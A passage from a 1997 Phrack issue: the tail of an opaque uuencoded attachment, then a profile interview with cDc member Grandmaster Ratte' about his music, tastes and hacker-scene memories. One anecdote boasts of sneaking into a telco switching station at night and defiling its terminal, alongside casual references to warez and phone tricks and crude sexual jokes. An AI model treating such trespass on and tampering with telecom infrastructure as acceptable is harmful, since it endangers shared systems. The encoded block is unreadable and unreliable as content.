MQ36DXM583Y1=YS')T-4BM;5:YU55 >U=K>]> ;9#'U6F"+5?L3/JU#5@JVU9k
M(8M@FU5@151?BY%?[75:Y=1:R^A<-Y9&*_9B$U8J(XQB=S4SN;4F%PQE0]!@j
M&35?2Q8LVPQF-\UFVY15/_:84"I=.[8N,99E:4YB8<5E^_)8=_:0M".A?M8Li
M@S82:?58E(9A]Q1B&Q9DK_:5J#9GD_)I$Y%6:_4^S^YAK?8J'P0]P_955Q9=h
MO'80.95L+58OR]9L198[_^ V5F>6,"/N;AGT:',U:;<57[.V2=MV#Z/6T_AVg
M;ON6::TS<4EV2.L4]OC6<147<)D50P570PMW*#_P;BEW;BWW<JM6;@DW;_URf
M15ET:<E5<4=65/7O<X44;;,3;$EWRF#7:D.W;O-T<4L7<C=52E7J=B$V=W57e
M;9'6=*>347U5> .6>(NWY=96*Y&79V@W;D&1>>?5>9]W>REU<VVS6DD5>\M5d
M>[G7>@\52;T7#6F70KBJ*?XU9EF7?#6P=G>*^,07--,7#*/6)=R1I:QG:W>Wc
M;,D7//KW//X7,H_7=T]U;\&-: =79(>WZ!Q8::$W@667/FO6=H.I:746X-X7b
MD_^,5CJ==GI99F']A6+O%VE;]H2U)85'6(%G]619N%Q<N(-EV(M0F(.[EH2[a
MU<'LQ4'\DW4Y$;EFV!'A\V]Y6']3RF4_F&N%^,.8N(5U."?SET@GMHC-]XEUz
M+HII6(N7TXLGF$%SV(M)+&5_&%%!M8HCEV>1"F?)N TEL6=O]HV-6%"[MVA?y
M)X3I.$ES2W7A=8]%L8!5>$]:%( !V?':I9#]%E#5^'?Q"T7EV"<L"E2A)_ULx
MT.&B5WV3F#A!KRR:9YS0XIQ$]"IVAY0#:72Y\U<W60KWC3L^AY=DJ*"P\I7Aw
MJ(ID")7#,XU7F0E;.2,HR7ZDAT<]")AWHI=P>27'=Y?_B;"7?5EZJN**GE2<v
MGOF9M8(V^1-WE9DQ.]F326*:3_E%;R>(<&*<K]-5 ;F1%[B^)(*4O!F6P;DDu
MVGF0Y-6<]QB=8UB=(T*:R+F8HP=)]=ESJAF@!7J>4WE=LQFUF+DBJJ*98*B-t
MWKF4UZBDX)>>Z=B>@W6;#YFY\/F0+1I:<2^C-9IO0+JCOY4/!1FD<]G^[#B9s
M8=A1S[8_Z(JD*S>FD;%_9?I4#UIA<86 ,8^G\V,44?HE=\NGO>6 E;*E91:Ir
M@;;OPAB*CUJI@YJPGLZ/^QBHL1FJL;+SFG@MPP+Y@EHG V2K]:NK*W&FL9J*q
M\8J+(<6KO]HUNTJM7X7^M/BF_X<RK;&X5FRKK<&:1> :K]G:K"^X=UUK@[6Tp
MK/5Z0D!JG8#XN< XIR73KL_X2O[ZL!$;LA4[JPQ;@!V;-X_*D-%ULBF;2CK[o
MKI-(KI^8KFW3LI<8LZ4ZM!6DL?JZM#/[J@-;L(_$C>,XD%?:M9>3FW#[Z,@:n
MM;MQLQ_[0IKZ_#*EMGF[L*5V<)OZK!$6NG>8OYJ[@ QYN=WZ1JJ;7JY[KHE;m
M*E_ZI/_7IK&;WT(+DE_58[_;9#>ZO%/Z.'5VO6FVO=W[FBGZC87[:S&ZONV[l
MH)\TO]UVO_F[1^^;C '<< 5\P)VSP!M;NITVP14<OA>\>>5;;^D[PB4\.H7Xk
MP#GWPO\Q?(I7=W@K_'0]_,-#W+]M6[S3&,)-G*#?FY%'/'E%NL4SO,9AW,&Sj
MFL5I?*)1''UCG'IU?,>=^,2S]\=+.,B%O#/[N\AQO&N1/,D7&<3#E,._M\2Ai
M7,GA,GZ-G&,2^LI=')G5N\FI^,F]G%F7G*65>\K)O,RS^,S#/,U_=<W9G'ZKh
M=,.WO%OE?,[/5^<J^LX#)L_UO,LSFLK5%]#G7- YVL_9UM#9'-'/6=&WT\KUg
M?%6S'+!W.U,9O<P=O9XA76(RW<LWO<_%W"5#?=(AN-)!M].Y]-.OO-0-7-4Cf
MA]6AW-4;',[75=:3G-:]>]1'4M=-G<ZA[=5YW3YQ7<A]W<[_A]V*9_S71=B:e
M+?C2W?38F5W:+5W%[UC2F7W/ZUS+DWV-ESW;S1S5-;O;'?G;P;W-Q9VVH;U4d
MBWW'J3W5R3V=S?W<@3WW.#W>[QD/T3O*,3R\91"3OYK0E9B00:F[P9U:%;G9c
M,Q761<5FJ?IZZ5V*E15K45K@.=F51%6/IQU>,E[AHYWAR>:/(SO<<YWB"9ODb
MXQO?+YIQZ8C (OZX/7N,\!OD>:QA8YL%,QE]37[GD7OF5?Y[73Z'.);2*9N,a
M2-LXCUO$?[[0;>KH[1?E]=KAG3ZWB5Z5EW[@*1B')1[=BQZ/M;Z+J]Z@K_[Bz
M,=Z;W#CI/QQG?_OMI%[8;=T\SYY7_YI#[DWET&F8[J7$?[V^UM>]0W'X(OX=y
M\"-9V^O[M[TC\.^*6'W^[6<W1E,WC^W>=A\_J/C>VF/5A+ .[?L=\\M9\]&\x
M[U4TD1S7\Q7\[%6.])_=\IU5Z!L7ZML:MQ,7]9%X[%GYZY?4]0/>]C-4]E.>w
M\3%8HSP7]Z/:[&F,]W69]GG9\1$;\AL]1A7,^+N7YJFKUQX6^K%[[0G?N84?v
M;Y%_F6],7:V_B*S5G$0?2X<FYS53^B]LR9;WV4S9=II'HD<Y_E_YDT7YZ<U_u
M[W?=]^=TX' UZ0'BPX=_! <6)(C0X$&$#!LZ? @QHL2)%"M:O(@QH\:-"14:t
M5+B0(<B( /\DELQXDB/!E"0ALE0),Z;,F31KVN0((*?.G#=[^OP)-*C&EPV)s
M6C2*TJ1+BB ]+FPJ-*K4J50=0OWW,63"BDA7;NQZ$>P_I&*KFCV+%NW.G6G;r
MNGT[$VS9M2G+(J1[M^5#NP*M8OU[%:[@P6C[B@3\M^'(I7I-KO4:]O%8I7L)q
M6[Z,V3'>S)P[3Y4[D:A=AJ(IDKTHT.G U8<]NWZ-,?5!UB,7,[Z-&W)8AW-Sp
MP_X-_"9=GL&+&P]-V;=NT\I)-V^]%3'KZ,>K8ZXM/3%UY(TK>^?Z?+ESZ^3+o
MDQQN/OUOT,]'=Q5[>J+AIQX#J[]/=3[@^HJ/)N?=W7]%<0<@?@;_&C?<: <Nn
M&!5[!0;X77CQ2;2:;-359R&#&M)4X7Q.0<<<A.(]*.)XS2FX88I5):ABBY\)m
MF!>,)$8X8XPNWJBB@P/*N&.)(_Z(8Y -HB=DD7%I1B2/-OHXH9%.EB=7@O"%l
MZ.-D-#Z))4TL9LDE>$-1*:&4.H7799F6H;CDE362)B9Q:YH)IVE)QADGFD"Fk
MJ::)&-E)9Y]!\3DE@60.ZB>=6Q9:)J""DJDHHHZJ]=6B>>+IY:./'FKIDWQ:j
M2:B.NV4*JE";>BIAI*$6BNFI06XZEF@*NGG7J*K.:A.KL*[TJJLXT6KHG+RVi
MR"JNP@YUTJU)_8JLJ2H19RQ7Q08;;+(&_Z8J+8/1#KOLM==6"^JVS>ZI+;=9h
M4BLN?ML2=FZYB*8K&+OJ%D?NN^:Y^Q:]\III;UOYWNM9O/Q6MR^D_Y8;\%D%g
M#WRFKP@#;.["W!Z\HL,Y*BQQ<!!3=7'%*68L%<<:F^7OQ_TV+#*M'HM:\H$Af
MIXS9R7^RK*K+0,D,LT\KUSP8S3;CW"W)/)-W\\]NZ=P3T4*OY_/1"%*L-%Q&e
MU]HTJDE'O1[35*?U=$U97WW9UD=R7?5F8-<;D]C@LK7LV/B6+1E*;2NK=F=!d
MQSTS3*7M^6:E=&MJ=]Z^V;JWW%8'_O*ND[XI*^%. GYXCX[CK7C7@T=>M.&-c
M4WJGI)0#:[G?>O\^_NGF[4XNNI9P7Q[HL:6[V&B5F7,*^>I#DRY[WU\JB7GNb
MN-=^7^N#IAX[[P;3+OSMJKO>V_'%JWRZY[!?#OWRPA$OO7_&(P^F]=5/VSSHa
MGON^O:C4A[\[H]D['SWY2%^/NN;GJU_T^/"C__W[GVL_/]#=WU\_^_G7*K__z
MO:Y*=B&5W@2(H,ZASX#V0Z#= BA 6^GJ*!/TGP/7]Y4*RHDWB;N@EB#XOVB9y
M+3)H4Z '82/"MY%P3&D[85Q F+]SA:ML+K38UVB(PQH^<(0Z]-[^@F?"'F;&x
M6S=LH1 SR,,C/L^(3 RB$M%5Q";^\(GG2>(192B3&5*Q95%T(A"W&!K_&,X/w
MBSF4(AB=UL4IXN^,2"KA%LEHNSBRL5UIM*#RYK@7,<(/CF:\(QZQ5D<_"O*/v
MN+*B$/GHQ= 14E^!_*(=%SDW#R)2C0=<I,$:J<A$_C&2%YSD(S-I29!A<HV4u
MG",G'>C)08(RE!@;924_N4D]JB^5CE0E*PM7QC[6$I*R)!\M5VG+6_Z$B%DLt
MIC +J<(G_I*4L#QFY8R9RU*R\90(7.8K@^E,J$%3CIK$(S4C:+IH-C.;6G-Es
M X')2T/VT)KG9"8Y=[9-7:*3D-\,83BY*<UWBG.<[;QF.I.I1':Z;Y?Z+&<\r
MN]E/4_8R? (M7T(+BL]\.G2@]%SH]AKJ.G]"_]2<%)VG.__I1BIBE% =W6A$q
M^5G2AYZQGC&\ISP_*C260HFC$ZTI&&6Z1Y<B-*4P$U.1B+E/@L92G3H<:?KRp
MZ#4_M>FG-,VH9K*)TUGJ5*)L(FK)VO2M#0'UI&&TZDHM6CVCTJ\H4E(:5I/:o
ML::2M*I@C6!;ER=6'[;1JQH[JY"V^E*D1K63;RU>7/DWU[XBRZZK4NM16[74n
M4.Z5H5-%*3+/"MG(2G:RE*VL92^+V<QJ=K.<[:QG*<O*Q5ZTL=ADJT]_1E@<m
MX76GL4JL)44;5M(*E8-8/5IM"WM0JJ86I"R\J6P]2EO7HK:L=S7L6!\+VQ@*l
MEG=_U9U>B6O6Y;IFM?^ZO>UKI2N[Y@XPN,DE&$!99URYND2XO,WJ.G\+TRIBk
M%TN]S2OG<NM8Y(:TO&AMFG:7N$+S_DJF];TD?$O+W?[NK;M^16]7V7:OTU+5j
M6N%%;'O/!M7UEDZL_$VP@@&LU?"R5, #EK#HC'IA#(=JM\!];U"["D(.TXW i
MP@-QB$L\*Q*G%[S_#>Q\9ZQ0NDK2P&0E+XYC;-W9FIBKZH6ND*?IX<V-]+-,h
M;K*3GPSE*$MYRE2.[(*5F63*+3G(,(X9EW^\,;7*6*-#_>XA>6S:;ZH8:%\Fg
M,XU//%X?NSG'9CYO4\>LTE.U><XY$O.>>?I5'7<2S:U],9^!O&$N41?%1N[_f
M\DVS'+DM&_K0)JLSI36T:$9#<,UJ8S%S"5UH08LW49:.<XUOE&E-W_C2(H6Te
MXK2EWR*+T%'UU"+?V";!58/YT:*NY@Y+C=13CZO1NUYKAK/5:^>R&LO)MB=.d
MB%WLP]X5VGDV-J:1G6)ATUG7=B86M:LM;=7*&=!.[3,2:ZUM)#>[I=Z>-+FMc
MO:IQVQ3>"P+4G^<=[H"ZFG#VKK*__PWP@ M\X 17<[H##>P3]EO>Y<8WJO'<b
M\(A?N]W?=OBHO;GOP"W<W1+/-^L83N^+#SF_!H<SQM<]QG-S/.2 [=*]6:[La
MD5,0Y##?KKH3OF.*EYS(PUZYQV-N;K?1_.<V1SBW_XOZ;)\3';_XJGC'CSMQz
MG2?;UK?T=.URG6V36P?EZZ:ZD;#>;*\K-N,#QO6#1;QTSN!4[&BOM]EC;?&6y
M5Q3EL\0Y!P_^]-<H/>]RC[;*[$Y6O->\J&3O- S9?F1X[7WIB/]XV!M<=%X#x
M7KGHUOJ[4?ARO@,][NE9?-_]+O*;'UV23M=\Y ??LLP/OO$;\_SF.7_Z5M,]w
MK$.'.N/_7GO;ZS[TN'<]T]O.>\F/'I4%+[[QCX_\Y",_OJN/\.SA"G'3_][1v
M8?-]['?_>6NI/OC2Y_38K*[EZ#??\A;;/O9?C_KCB#_MK#_YY/>8^^Q?_OQJu
MCS_W;_]3\Z-__,<$?_BMW_]^X(9Y%49^T@<P^G=]]#=]939\U61_"2A_L-<Ot
M[W=_"NA]-O. J09Z5U1X8&-]"[AL%:A^@H=_7U=Z[$>"S$:!8[2"("B (IA s
M!<A_B[."&AB"'/A\C 5Y+CA_(RB#)7AK/PB$5=>!G09J,WAL/'>#^^=V*6B!r
MSM>".;6# =AY3AB!!C@O.\B#$EA#_C=A1SB$4>=>/7B%8CB&9,B$^I:#HS6%q
M5@@O;@B!:<@]<!B'=4AX:QA;;2B$/JB$+UB&#$:'6XB%"E>$WP>&3RASS(>(p
M[*6%5&AT9Q=0APB#<OB&>_B'"EB%@>B(P@>)5R2)ESB)-F2)E&B'F3B*I"B(o
M;U3_B![XB:AX@:>8BF'(5)H8B"[DA1_6BG;XBGV(AKJH:(U8BX2(A])S7YNHn
M/[!HC( (B[&(B;:XBE<S=>\7C0UXC+PH@;N(@9TH)]289CKG3+<8:?)S2N/Xm
MC,-$A\DX+;U&CH(&CL18CM$528LGCR>X=><8C.K'2?,X-Q]XAU%X4?18>P')l
MCRADC\MX@ "Y=P))CRK(C917>NL'D0@HBM;8?29(<Q%YD1+9CPW)@CZ'D1ZIk
MD1B4=#M$DM.6D2<)D@^XD=I(>B\'6:HV.2]I+N)(DZ+6CDZ3>1_YD"'IC,.8j
M7>(GD[*V,D'9>0NIC]0SD(J'DCNYE#=Y=>\84TU).CKI_Y1_DI!7B9 +.2\Yi
MR952Z9/P]Y6KTY4I299:.5UCR91E695J@98W0Y50&3=K^7U#IWIUJ9+UYY6Eh
M]I9A.418>8)MR9>^!)?#%8]&:9ARF8UJ.96 &9BI-SY'25=)*8S^R%#2:)D<g
MZ6!PIY2*:55[29F;.2J7R9)Q-IK;5IHFY5UY.7J>B9FH>56#Z9K:IYJER9JGf
M&9LU@YBW&6]*9Y>\>9>Z*3&Y"9P/5YC%B91F.9QU!9O).9,V69. )YS,N2[+e
MR2VIX2'6V1?8*1_6V1'Z41"RT2%8X9W=^9T=@B'D&1'<:9X?<9Z"@YG3:)L]d
M%I_2^3'1B3 ?HAV)@9\0@9^VT?\46:$5?G$A KH=!"J>(<&>!4J?"YHSU%F=c
M YJ?]D&@^QF@^EFA BJA%IJ?_<&A'S(=ML&@(8HU#EHM_9DA$4HA)[H8((H8b
M%3$=%4H;&PHB'&JA +I(VEF>ZLF=VYDA.]J=M)&=XXF>X-FCU\FBZIFC"5J>a
M(42BTN*C&JH5+*H=A@$51_JB\D&CV7&E-+JC/IH54@I&_=D:%/H08IJE5*J@z
M9ZJ@V,&?(F&F'N)6C<DS-HJB==JFT5&EZ7FA9:JF,7JD7(J@L\%*;PHB8&JFy
M:_H4+AJE&+JG*PJA'QJGG\DUAPJEACJFE]H1@<H4?<H?>@JAE0JFL>&EV+F>x
M3#&JWHG_I$1JI>QIGN@IGJOZH5W:GIQAHOJ1H8JAHEG:'Z&Z%1GJIW<*K%^Zw
MI_\HIS5C(4&JG3B:GCA*JA@RJU)ZJEV:IKAJI$DZK1Q!J38:JI0:I=J*I9]:v
MH'^:J9H*IY[QI'1ZJ]"!IN-:IEM*(7V:'7R:HS^*IS(JF,4JHJY!J-MAJ9J*u
MJ%#ZKG9:K_8JHX1*IYF!KI@ZK(L:H>+*JP&:IS$JK_Q*K@1+K)*:K]51J_9At
MJ+DZHX?QL"T*H_%JH!,JJ!8[&-GJKYZ:J+WJIBL;L!1[G2QKI]H:LD^)KQE+s
MJQ[+L=]ZH V[K"BKJQ$KLEQ:I.7JKI9QK.N)K$)*K4O+K$=[_ZWSFJ3K*K3Gr
M2J5>&JFMJ;/ID; #N[!U^I^>&K)L*J@26[)7X:%"V[7[U:1M>Q,J.Z6;"K9%q
M:[4/:[;[P:X&&A@V"[?O8I]_.Q5+^ZHZ>J+\&;6)^ZP\ZJS'.K6%ZZ:L6JZ"p
M^S!O2[F7B[EO-Y^9R[F=.X 8Z[FA*[HK8KFC:[J>&[BGJ[JK*U_8R+JOJ[.Io
M"[NSR[FR2[NW*[BVB[N[&[NER[N_&YNZ"[S#RYS"2[S'>YO&B[S+NU'*R[S/n
M2T[.&S6'"Q2UX;1&0KWDD;V6LKTV<;C=&[V^BS/62Z2NVJZH*J0WJR+D&Z3Fm
M^[+LFKY-*ZO)^J1A6RCLJZ2ONJRV^O^OJ"F]3>.?[\NVXJJK6!+ \)NBWXFKl
M @RI<PNV>1LJ!XS ,0NL]MM_XFNL$]NBVTJSCQLD$KS!"?RS+KNH +JVX,JVk
M?@+"(4S!&IS"PO2_2@/"#=S"'_O"+C+# .L7V:FP(_RQYQJNM++"-%S!)7O#j
MH87!,)/#(DNJ%)NFZILB2QRKTLK#=;ND__J?XPG%93+$)]O$#'NA6SQWH*L^i
M4CS A>K"!JS!PJJGZ-JC@*JF.GS$<-+%1;O&TRK&#+BY-;3$/ES!MYK'"]+'h
MUUNS8]JW? NS@:S&:;NW=^S 'GS!.5L[^*N_8=NLUFK#3D+);XRXK%K)X FYg
M5URUX>G#BOS_))1<R2A[R5\,R3"<Q"QCRC(1R_<QR]<AQ'!1R[)'QN0#OD'1f
MRQ],R,;QRRH<S-5;S)&\R]"KS!D;P\OLS.['M<\LS5W;S--LS3B8S->LS295e
MS=OLS<0GR=\LSF,<S>-LSA#5S>>LSM 7SNOLSNOTRN\LS_P6S_-LSX;7SO>Ld
MSV"9S?OLSPZ8S_\LT"U6SP-MT"F3S@>MT#U5T OMT B3T \MT0X3T1-MT?Q2c
MT1>MT:G9SQOMT5R3T1\MTI46T"-MTLI9TB>MTA#=T"OMTG 2TB\MTTV7TC-Mb
MT\D2TS>MT_E7TSOMT]W2TC\MU++9T4-MU(A6U$>MU)F2TTOMU&S6_]-/+=4\a
MG=13;=4N%]17K=5]&=5;[=6]5\Y?+=8T7=5C;=:8EM5GK=:?D=9K[=8ST]9Oz
M+=< U-5S;=>24]=WK=<XF==[[==LV==_+=AL'=B#;=AP7=B'K=AT7=:+[=BDy
MF]B/+=DJM\>3;=EXW=B7K=E:$]>;O==-[=F&#=JA+=BC3=I^;=JGK=>IK=IVx
MS=JM+=>O#=MN+=NSK=:U;=MFC=NY+=:[S=M>[=L%A;X0G,H*_-ND%MFWQ,H<w
M8L3?V[_'S5Z=[4*Y',1%/+30K6C2?4+L>\6_G*X+2]S8;9*9G9R=6K&*VJM:v
MW,%S+-Y@7=F7V[?+?<P;.KF-:MWM39SD[?^:AQRT%M&S-@RBU(W?Y9?<EE3?u
M_(VW<-R_X3W@P*+="$2]\RO*ZZVBT8JJ#4[58:W, F[!&)Z.!2ZX\^W?'.[At
M9PGB)>[:#X[B0QW<*^[3+>[B.@WC94SB=%O Q5&V^HK>[MOA/Q'A(E[#L6&Js
MWCNTPWW?A*G?L;G"K;SCF0P<#,[>9I'% OO$WINU')S&&T'*P\RK2^[?YGNHr
M*UKCU3+C99SE49[E8YX6:EZ]$^RSONSDF6S*^YG+7F[C>.S"28OD&@ZW%?*Cq
M1EJ^WQO@$VNK%5[HVSG"]2OHU?KGLQJYC6NJA2ZY?KRRCAZN6KSH"LS)"!KAp
MUJVC[DOGCQZY5N'_YWI;M7^>QH/.R&P^6"K^/W?KZ:&>YC\LYD9LR,;MK]P*o
MY=8+LG'^R"=\L+P^ZXP,QOE[PL3.MWE:W:=>RM>=Z-X:QP!.ZM/>P_"8Y/N-n
MPL]]QL3>P-VNRH;,K+O:P@0\RL6]WO2MH>'MW+:>KMB!X(_.X%F,I"/KQ)>,m
MQI]*IMUKYY@.L[;EZOG#K=J.Y===Q7[^I7K.L*I.PD5,[JI,R%ULPM$.QM*.l
MY[W^J$Y<\?;=QW(L\6&^O^Q^[I(+Y"A][:@IMRAZX([:W$J:M<9]Z+=>[/CNk
M[!-?PH5JMOOZM7L+R'F.\3G?[+ANW_=.Z7DKZ]4]N:$NH0H_I7Y[XWO^_][Pj
MC:ST*NK[H>[#KK;5[I]7JNA&CNI27[C<_?4WGNGZV[X0&\IAC\EH/^'=?>5Ki
M6O;*JO9G;Z]3GLI86^'Z&?54"_<P>JK42NHC7S%ESD8W:^=1P>HXKL)G3N0Uh
M<?CV]>]X5+\A7Q61SR6-'QR13^*4#Q.6[^\G'N-K+?B?[]*A+_HJ3?H S_EOg
M ?@NVOBKGQ\7?K[?'1.I'^F*SXF:Z;GVCN9^?[",/^):ZQ,-+ZK ;_ACV^1Sf
M?^3'W_2X[/?7Y?F0W[*[C^MDRMQ?;L6^G_Q-WOO&#/1O?NZS?QR%?_NNNT41e
M/QMB_O#@#K5^;/<BWZ^)*NFE?+1JR[]/^_XU2O^^FH[I#Y^_YE[%Y@X0_SX,d
M'/C/($&#"04B/,AP(<$/"ATF9%AP(L2("B46?+@QHT2-!T..)%G2Y$F4*56Nc
M9-G2Y4N8+P',I#DSYDV<.77NY-G3Y\^7'REF_,A19$FC%$ER)"HT8E*B*YTVb
M/#I4)-201:LB!6ERZL*J6L&&_3KRZ5.E8:EVU2B4K=JL:9>V36LTJERS;\7Ba
MY0O4[U_ @063K%ES\&'$B14O'NQ6H%R,29?:G=LV\D.(6T]BA$S78V;,125/z
M=DR:\E&W:"%?GFM1L^K7>65K'NJP--[4C^N.KEQV:^G;C(4/)]ZS,,WBR94Oy
M9^[3\=[@<;O>?C[;<TK_X'QS2U<;/2OOMYUU*RWK'>3=W+['A\=M?:][NNHGx
MRI;/?GUS_/F9'[>IW_]_ (NK[C?[UD*-K>SJFJY VL;;3B\'Q3)//>X0%,\Ww
M"MN#2S?)$JS00;(TU$Y!$ANTC+L'&0QP119UX@^ %F.4<<:@H++(1O"NNJ@Bv
MSC[SL;;H0&OHK*:$Q*PVL)C*,;3-=B02R8ZB'#(X'D5+[:PIG1*RQR$]&NM(u
M(+4LLDLNO2+M,RN7I'%--O]YL4TXXY1S3CKKM/-.//,TCC\]^_3S3T #%710t
M0@5]LU!$$U5T448;=?11A0Z%=%)**[7T4DPSW?,X33OU]%-00Q4U3TE'-?54s
M_U135755GDIE]57]S.MK)UGG@_567"UU-5=>62HS**E^LA7%7HLU-M%=CU66r
M6#AE57%9:*.=,5EIE7T/M"J[1!-*+ZD:UCKLJA5WW!BI)9=7";^J3\380C3Qq
MNG#/E7?>_?BDU]@M6>.PPF_7S?!#,^\5>.#$S"4XU;ON6Q!>;@E<^-UG9SUXp
M8HIQ,KAB4:'3R\/U4@31X<V^N\Y9C$LVV4U[3SZ51R 99O+E++N-\MN8M?M5o
M99Q5OCAGGGOV^6>@=@9Z:**+-EHCH8]6>FFF*TZZ::BCECK:IZ>V^FJL4ZTZn
M:ZZ[]IK2K;\6>VRR_PR[;+335IO&L]=V^VVXE6L[;O^ZZ[;;K[GOUGMOOE?*m
MNV_  P?\;\$+-QQNP@]7?'&Q$V?\<<BE=CQRRBLG>G++,]?\9,PW]_QS@3L'l
M?732I16]=-13S_5TU5MW_5367Y=]]DQCI_UVW!NU/7?>>P]T=]^#%[Y.X(<Wk
M_OAI4T9^>>8++;YYZ*,G[GGIJ[=>,.JOUW[[G;+G_GOP6?(^?/++#VE\\],Gj
M'WWUV]^>???CEQY^^>M?GG[[\Q<>?_W[SYU__P50=@ 48 %31T #)A!T+V)@i
M QWX0 A&4((3I& %+7A!#&90@QOD8 <]^$$0AE"$(R1A"4UX0A2F4(4K9&$+h
M7?A"&,90AC.D80UM>$,<YE IASOD80]]^$,@!E&(0R1B$8UX1"0F48E+9&(3g
0G?A$*$91BE.D8A5!&)  .U If
 e
end

----[  EOF



--------------------------------------------------------------------------------


---[  Phrack Magazine   Volume 7, Issue 51 September 01, 1997, article 04 of 17


-------------------------[  P H R A C K     5 1     P R O P H I L E


--------[  Grandmaster Ratte'



----------------[  Personal


             Handle: Grandmaster "Swamp" Ratte'
           Call him: Kevin
       Past handles: KP Neato Dee (local BBSes)
      Handle origin: from playing around (and falling in) a swamp all the time
                     as a kid
      Date of Birth: April, 1970
             Height: 6'
             Weight: 155 lbs.
          Eye color: blue
         Hair Color: brown
          Computers: Apple ][ (plus/e/c/gs), PC (8088 laptop/'286),
                     Amiga (500/600), Macintosh (Plus/7200)
           Admin of: Demon Roach Underground BBS, The Polka AE from Sept. 
                     '85-present
   Sites Frequented: Not much really.  Mindvox can be pretty cool and 
                     interesting.  I used to regularly call boards like The 
                     Works, Digital Logic's Data Service, the various 
                     Metallands, Speed Demon Elite, P-80, Kingdom of Shit, 
                     Ripco, The Metal AE, Dark Side of the Moon,  The Missing 
                     Link, etc. 
               URLs: www.l0pht.com/cdc.html, and the new www.cultdeadcow.com
              Email: gratte@cultdeadcow.com 



----------------[  Favorite Things


             Women: that aren't crazy, freshly-scrubbed
              Cars: ones that run, muscle cars with lots of chrome
             Bikes: BMX 24" cruisers, Schwinn Stingrays with metal-flake paint
             Foods: cheap.  Sunkist Orange Slurpees.
             Music: 1970's funk and soul, rock, hip-hop, hillbilly country, 
                    reggae, dance... 
             Bands: Run-DMC, Beatles, KISS, Marvin Gaye, Suicidal Tendencies, 
                    Black Uhuru, Public Enemy, Stevie Wonder, Rolling Stones. 
                    Zapp, Parliament/Funkadelic, Grandmaster Flash & The
                    Furious Five, Dead Kennedies, Black Sabbath, Carpenters, 
                    James Brown, Metallica, Sly & The Family Stone, Lynyrd 
                    Skynyrd, Jimi Hendrix, Slayer, Minor Threat
       Instruments: Fender guitars and basses, Kurzweil K2000 series synths
         Computers: Apple ][s and Macintoshes
            Movies: Star Wars, The Manchurian Candidate, Krush Groove, 
                    Apocalypse Now
            Comics: Peanuts, Calvin & Hobbes, Bloom County
            Sports: Ultimate Frisbee, bicycling, wandering around outside, 
                    climbing trees and rocks, boating with inflatable life 
                    rafts in drainage lakes, club dancing
             Books: _Foucault's Pendulum_ by Umberto Eco, The Bible, Farrah 
                    Fawcett's biography, and _Understanding Media_ by Marshall 
                    McLuhan
         Magazines: Tons... 2600, Grand Royal, Wired, Macworld, Barely Legal, 
                    Thrasher, Big Brother, Ride BMX, Urb, Guitar Player, 
                    Keyboard, Cool Beans, Might, Stress, Slap, Crank, 4080, 
                    Cometbus, EQ, and whatever else I can get my grubby hands 
                    on.  I really dig magazines.  Uh, and Phrack! 
                TV: The Six Million Dollar Man, The Simpsons, Charlie's Angels, 
                    X-Files, A-Team, Mod Squad 
          My Bands: Superior Products (bass), Weasel-MX (vox, programming), 
                    Jinx Unit (bass, phat beatz)
            Quotes: "Fully equipped with an army of lawyers." -ad for Zoo York 
                    skateboards
            People: Evel Knievel, Boba Fett, Mr. T, and the CULT OF THE DEAD 
                    COW Multimedia Superstarz!
              Misc: thrift stores, huge shiny belt buckles, phresh new laces 
                    in my kicks, playing shows with my band(s), exploring 
                    buildings, big trees and rocks
          Turn Ons: energy
         Turn Offs: pretentiousness



----------------[  Passions


    If you can't tell from the list up there, I'm really into music.  It all 
started when the neighborhood teenagers would let me sit around with them and 
listen to the hard-rockin' soundz of KISS and Led Zep when I was a little kid. 
So my mom (bless her heart) under their advisement, bought me Led Zeppelin 
_IV_ and KISS _Alive!_ which I took to kindergarden class and was reprimanded 
for.  A few years later my grade school friends and I would spend hours 
sitting around a cassette player making "radio shows" with our Saturday Night 
Fever soundtrack and various 7" singles from K-Mart.  We were rollin' with the 
phattest mixtapes at age nine, fool!  Somehow this led to MIDI and drum 
machines and CD burners and now I spend tons of time recording and sequencing 
and playing music.  I do a lot of recording for the local punk and hip-hop 
groups and it's hella fun.  The back of the building I live in is a small 
empty warehouse where we have all-ages music shows and that's pretty neat too. 
It's called MOTOR... If you're in a touring band, lemme know and send me a 
tape or whatever you've got.



----------------[   Memorable experiences


    Hmm.  Well, this is probably my best story, so here we go: I found myself 
all alone at night inside a telco's switching station.  Ooh, look... a terminal 
keyboard.  In the dim glow of the red "EXIT" signs, that keyboard represented
all my hopes for a glorious unification of the human spirit through the global 
telecommunications network.  How could I best express my ...love... for this 
network and all that it represents?  Write a poem?  Done it already, hundreds 
of times.  Every cDc file I've put out is a gesture of affection.  So I did 
what any red-blooded American male wouid do.  I dropped my pants, "threw 
jacks" as it were, and doused that human-machine interface unit with my 
Seekrut Sauce.

    Then I cleaned myself and got the hell out of there... pulse pounding, 
freaked by my own insatiable lust.  Is what I did "WRONG"?  Don't judge me 
with your pithy concepts of morality!  I stood before God with my pants around 
my ankles and expressed what was in my heart.  If that's wrong, damn... I 
don't want to be right!

---

    Playing a party where a gang fight broke out, caps were busted during our 
set, and we had to drop our instruments to flee for our livez (and hide under 
cars).

---

Falling in love.  Getting dumped.  Lather, rinse, repeat.

---

    Going to the various hacker cons is always a blast.  Some people have a 
negative attitude about these things 'cause a lot of kids go and act retarded.  
Which is unfortunate, but I always manage to have a great time.  These are the 
only times I get to visit with cDc people and it's like a big bonding 
session... we just run around and hang out.  Meet lots of cool people in 
general, every time.  So go to the cons and don't cause problems, and 
everything'll be fine.  

---

    Starting cDc communications.  In some ways this has been an important item 
in my life.  Not that editing text files is a huge important thing, 'cause it's 
not.  But cDc, at its best, has taught me that I can have a role in making 
something creative and interesting and lasting.  Things like that can carry 
over into a lot of aspects in your life.  In 1984 I was a junior high student 
and now I'm 27 years old.  cDc has changed a lot of course, as it should, but 
I think with our longevity we've worked towards finding a new way to relate to 
technology and the emerging global structure.  I was fourteen and part of the 
wave of hacker kids who had been growing up with Atari 2600s at home and the 
video arcade after school... we saw the movie Wargames and got excited.  I was 
lucky and had an Apple ][ at home, and soon a modem my dad brought home from 
work.  You figured out some Stupid Phone Tricks and bam, in no time you were 
typing away to other kids on BBSes across the country, sharing.... codez and 
warez, sure, but more importantly we shared experiences.  This was NEW.
I remember how exciting it was to call teenager-run boards across the country 
in the early '80s and exchange messages with these people.  Now kids can grow 
up from the get-go with the Internet in their house and I think that's just
great.  So my friends and I were writing things and doing goofy drawings and 
whatnot, and could have put out a regular paper 'zine.  But we figured out 
pretty early on that the one big advantage these text files we wrote had over 
some photocopied sheets we could staple together was distribution.  If we'd 
done a paper 'zine, we could have maybe scraped up enough cash for 50 copies 
